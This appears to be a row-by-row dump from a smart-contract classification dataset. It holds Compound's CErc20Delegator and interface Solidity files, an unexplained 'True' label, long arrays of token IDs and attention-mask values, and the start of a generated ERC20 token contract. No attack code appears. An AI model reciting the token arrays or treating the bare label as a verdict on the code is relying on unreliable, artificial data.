* @notice Calculates the exchange rate from the underlying to the CToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() public view returns (uint) {
bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("exchangeRateStored()"));
return abi.decode(data, (uint));
}
/**
* @notice Get cash balance of this cToken in the underlying asset
* @return The quantity of underlying asset owned by this contract
*/
function getCash() external view returns (uint) {
bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("getCash()"));
return abi.decode(data, (uint));
}
/**
* @notice Applies accrued interest to total borrows and reserves.
* @dev This calculates interest accrued from the last checkpointed block
* up to the current block and writes new checkpoint to storage.
*/
function accrueInterest() public returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("accrueInterest()"));
return abi.decode(data, (uint));
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Will fail unless called by another cToken during the process of liquidation.
* Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter.
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of cTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("seize(address,address,uint256)", liquidator, borrower, seizeTokens));
return abi.decode(data, (uint));
}
/**
* @notice A public function to sweep accidental ERC-20 transfers to this contract. Tokens are sent to admin (timelock)
* @param token The address of the ERC-20 token to sweep
*/
function sweepToken(EIP20NonStandardInterface token) external {
delegateToImplementation(abi.encodeWithSignature("sweepToken(address)", token));
}
/*** Admin Functions ***/
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setPendingAdmin(address)", newPendingAdmin));
return abi.decode(data, (uint));
}
/**
* @notice Sets a new comptroller for the market
* @dev Admin function to set a new comptroller
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setComptroller(address)", newComptroller));
return abi.decode(data, (uint));
}
/**
* @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh
* @dev Admin function to accrue interest and set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setReserveFactor(uint256)", newReserveFactorMantissa));
return abi.decode(data, (uint));
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("_acceptAdmin()"));
return abi.decode(data, (uint));
}
/**
* @notice Accrues interest and adds reserves by transferring from admin
* @param addAmount Amount of reserves to add
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _addReserves(uint addAmount) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("_addReserves(uint256)", addAmount));
return abi.decode(data, (uint));
}
/**
* @notice Accrues interest and reduces reserves by transferring to admin
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReserves(uint reduceAmount) external returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("_reduceReserves(uint256)", reduceAmount));
return abi.decode(data, (uint));
}
/**
* @notice Accrues interest and updates the interest rate model using _setInterestRateModelFresh
* @dev Admin function to accrue interest and update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) {
bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setInterestRateModel(address)", newInterestRateModel));
return abi.decode(data, (uint));
}
/**
* @notice Internal method to delegate execution to another contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param callee The contract to delegatecall
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
/**
* @notice Delegates execution to the implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToImplementation(bytes memory data) public returns (bytes memory) {
return delegateTo(implementation, data);
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
*/
function () external payable {
require(msg.value == 0,"CErc20Delegator:fallback: cannot send value to fallback");
// delegate all other functions to current implementation
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
}
pragma solidity ^0.5.16;
import "./ComptrollerInterface.sol";
import "./InterestRateModel.sol";
import "./EIP20NonStandardInterface.sol";
contract CTokenStorage {
/**
* @dev Guard variable for re-entrancy checks
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Maximum borrow rate that can ever be applied (.0005% / block)
*/
uint internal constant borrowRateMaxMantissa = 0.0005e16;
/**
* @notice Maximum fraction of interest that can be set aside for reserves
*/
uint internal constant reserveFactorMaxMantissa = 1e18;
/**
* @notice Administrator for this contract
*/
address payable public admin;
/**
* @notice Pending administrator for this contract
*/
address payable public pendingAdmin;
/**
* @notice Contract which oversees inter-cToken operations
*/
ComptrollerInterface public comptroller;
/**
* @notice Model which tells what the current interest rate should be
*/
InterestRateModel public interestRateModel;
/**
* @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0)
*/
uint internal initialExchangeRateMantissa;
/**
* @notice Fraction of interest currently set aside for reserves
*/
uint public reserveFactorMantissa;
/**
* @notice Block number that interest was last accrued at
*/
uint public accrualBlockNumber;
/**
* @notice Accumulator of the total earned interest rate since the opening of the market
*/
uint public borrowIndex;
/**
* @notice Total amount of outstanding borrows of the underlying in this market
*/
uint public totalBorrows;
/**
* @notice Total amount of reserves of the underlying held in this market
*/
uint public totalReserves;
/**
* @notice Total number of tokens in circulation
*/
uint public totalSupply;
/**
* @notice Official record of token balances for each account
*/
mapping (address => uint) internal accountTokens;
/**
* @notice Approved token transfer amounts on behalf of others
*/
mapping (address => mapping (address => uint)) internal transferAllowances;
/**
* @notice Container for borrow balance information
* @member principal Total balance (with accrued interest), after applying the most recent balance-changing action
* @member interestIndex Global borrowIndex as of the most recent balance-changing action
*/
struct BorrowSnapshot {
uint principal;
uint interestIndex;
}
/**
* @notice Mapping of account addresses to outstanding borrow balances
*/
mapping(address => BorrowSnapshot) internal accountBorrows;
/**
* @notice Share of seized collateral that is added to reserves
*/
uint public constant protocolSeizeShareMantissa = 2.8e16; //2.8%
}
contract CTokenInterface is CTokenStorage {
/**
* @notice Indicator that this is a CToken contract (for inspection)
*/
bool public constant isCToken = true;
/*** Market Events ***/
/**
* @notice Event emitted when interest is accrued
*/
event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows);
/**
* @notice Event emitted when tokens are minted
*/
event Mint(address minter, uint mintAmount, uint mintTokens);
/**
* @notice Event emitted when tokens are redeemed
*/
event Redeem(address redeemer, uint redeemAmount, uint redeemTokens);
/**
* @notice Event emitted when underlying is borrowed
*/
event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is repaid
*/
event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is liquidated
*/
event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens);
/*** Admin Events ***/
/**
* @notice Event emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Event emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @notice Event emitted when comptroller is changed
*/
event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller);
/**
* @notice Event emitted when interestRateModel is changed
*/
event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
/**
* @notice Event emitted when the reserve factor is changed
*/
event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);
/**
* @notice Event emitted when the reserves are added
*/
event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves);
/**
* @notice Event emitted when the reserves are reduced
*/
event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/**
* @notice Failure event
*/
event Failure(uint error, uint info, uint detail);
/*** User Interface ***/
function transfer(address dst, uint amount) external returns (bool);
function transferFrom(address src, address dst, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function balanceOfUnderlying(address owner) external returns (uint);
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function totalBorrowsCurrent() external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function borrowBalanceStored(address account) public view returns (uint);
function exchangeRateCurrent() public returns (uint);
function exchangeRateStored() public view returns (uint);
function getCash() external view returns (uint);
function accrueInterest() public returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint);
/*** Admin Functions ***/
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint);
function _acceptAdmin() external returns (uint);
function _setComptroller(ComptrollerInterface newComptroller) public returns (uint);
function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint);
function _reduceReserves(uint reduceAmount) external returns (uint);
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint);
}
contract CErc20Storage {
/**
* @notice Underlying asset for this CToken
*/
address public underlying;
}
contract CErc20Interface is CErc20Storage {
/*** User Interface ***/
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint);
function sweepToken(EIP20NonStandardInterface token) external;
/*** Admin Functions ***/
function _addReserves(uint addAmount) external returns (uint);
}
contract CDelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
contract CDelegatorInterface is CDelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public;
}
contract CDelegateInterface is CDelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public;
}
pragma solidity ^0.5.16;
contract ComptrollerInterface {
/// @notice Indicator that this is a Comptroller contract (for inspection)
bool public constant isComptroller = true;
/*** Assets You Are In ***/
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
function exitMarket(address cToken) external returns (uint);
/*** Policy Hooks ***/
function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint);
function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external;
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint);
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external;
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint);
function borrowVerify(address cToken, address borrower, uint borrowAmount) external;
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint repayAmount) external returns (uint);
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint repayAmount,
uint borrowerIndex) external;
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external returns (uint);
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount,
uint seizeTokens) external;
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external returns (uint);
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external;
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint);
function transferVerify(address cToken, address src, address dst, uint transferTokens) external;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint repayAmount) external view returns (uint, uint);
}
pragma solidity ^0.5.16;
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface EIP20NonStandardInterface {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(address src, address dst, uint256 amount) external;
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
pragma solidity ^0.5.16;
/**
* @title Compound's InterestRateModel Interface
* @author Compound
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
| True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
2385,
1025,
12324,
1000,
1012,
1013,
14931,
11045,
11483,
3334,
12172,
2015,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
7328,
1005,
1055,
8292,
11890,
11387,
9247,
29107,
4263,
3206,
1008,
1030,
5060,
14931,
11045,
3619,
2029,
10236,
2019,
1041,
11514,
1011,
2322,
10318,
1998,
11849,
2000,
2019,
7375,
1008,
1030,
3166,
7328,
1008,
1013,
3206,
8292,
11890,
11387,
9247,
29107,
4263,
2003,
14931,
11045,
11483,
3334,
12172,
1010,
8292,
11890,
11387,
18447,
2121,
12172,
1010,
3729,
12260,
20697,
28741,
3334,
12172,
1063,
1013,
1008,
1008,
1008,
1030,
5060,
9570,
1037,
2047,
2769,
3006,
1008,
1030,
11498,
2213,
10318,
1035,
1996,
4769,
1997,
1996,
10318,
11412,
1008,
1030,
11498,
2213,
4012,
13876,
26611,
1035,
1996,
4769,
1997,
1996,
4012,
13876,
26611,
1008,
1030,
11498,
2213,
3037,
11657,
5302,
9247,
1035,
1996,
4769,
1997,
1996,
3037,
3446,
2944,
1008,
1030,
11498,
2213,
3988,
10288,
22305,
22139,
2386,
7315,
3736,
1035,
1996,
3988,
3863,
3446,
1010,
18953,
2011,
1015,
2063,
15136,
1008,
1030,
11498,
2213,
2171,
1035,
9413,
2278,
1011,
2322,
2171,
1997,
2023,
19204,
1008,
1030,
11498,
2213,
6454,
1035,
9413,
2278,
1011,
2322,
6454,
1997,
2023,
19204,
1008,
1030,
11498,
2213,
26066,
2015,
1035,
9413,
2278,
1011,
2322,
26066,
11718,
1997,
2023,
19204,
1008,
1030,
11498,
2213,
4748,
10020,
1035,
4769,
1997,
1996,
8911,
1997,
2023,
19204,
1008,
1030,
11498,
2213,
7375,
1035,
1996,
4769,
1997,
1996,
7375,
1996,
3206,
10284,
2000,
1008,
1030,
11498,
2213,
2468,
5714,
10814,
3672,
3370,
2850,
2696,
1996,
12359,
12098,
5620,
2005,
2468,
5714,
10814,
3672,
3370,
1008,
1013,
9570,
2953,
1006,
4769,
10318,
1035,
1010,
4012,
13876,
26611,
18447,
2121,
12172,
4012,
13876,
26611,
1035,
1010,
3037,
11657,
5302,
9247,
3037,
11657,
5302,
9247,
1035,
1010,
21318,
3372,
3988,
10288,
22305,
22139,
2386,
7315,
3736,
1035,
1010,
5164,
3638,
2171,
1035,
1010,
5164,
3638,
6454,
1035,
1010,
21318,
3372,
2620,
26066,
2015,
1035,
1010,
4769,
3477,
3085,
4748,
10020,
1035,
1010,
4769,
7375,
1035,
1010,
27507,
3638,
2468,
5714,
10814,
3672,
3370,
2850,
2696,
1007,
2270,
1063,
1013,
1013,
8543,
1997,
1996,
3206,
2003,
4748,
10020,
2076,
3988,
3989,
4748,
10020,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1013,
1013,
2034,
11849,
4152,
2000,
3988,
4697,
1996,
3972,
29107,
4263,
1006,
1045,
1012,
1041,
1012,
5527,
3206,
1007,
11849,
3406,
1006,
7375,
1035,
1010,
11113,
2072,
1012,
4372,
16044,
24415,
5332,
16989,
11244,
1006,
1000,
3988,
4697,
1006,
4769,
1010,
4769,
1010,
4769,
1010,
21318,
3372,
17788,
2575,
1010,
5164,
1010,
5164,
1010,
21318,
3372,
2620,
1007,
1000,
1010,
10318,
1035,
1010,
4012,
13876,
26611,
1035,
1010,
3037,
11657,
5302,
9247,
1035,
1010,
3988,
10288,
22305,
22139,
2386,
7315,
3736,
1035,
1010,
2171,
1035,
1010,
6454,
1035,
1010,
26066,
2015,
1035,
1007,
1007,
1025,
1013,
1013,
2047,
24977,
2467,
2131,
2275,
3081,
1996,
2275,
4263,
1006,
2695,
1011,
3988,
4697,
1007,
1035,
2275,
5714,
10814,
3672,
3370,
1006,
7375,
1035,
1010,
6270,
1010,
2468,
5714,
10814,
3672,
3370,
2850,
2696,
1007,
1025,
1013,
1013,
2275,
1996,
5372,
4748,
10020,
2085,
2008,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
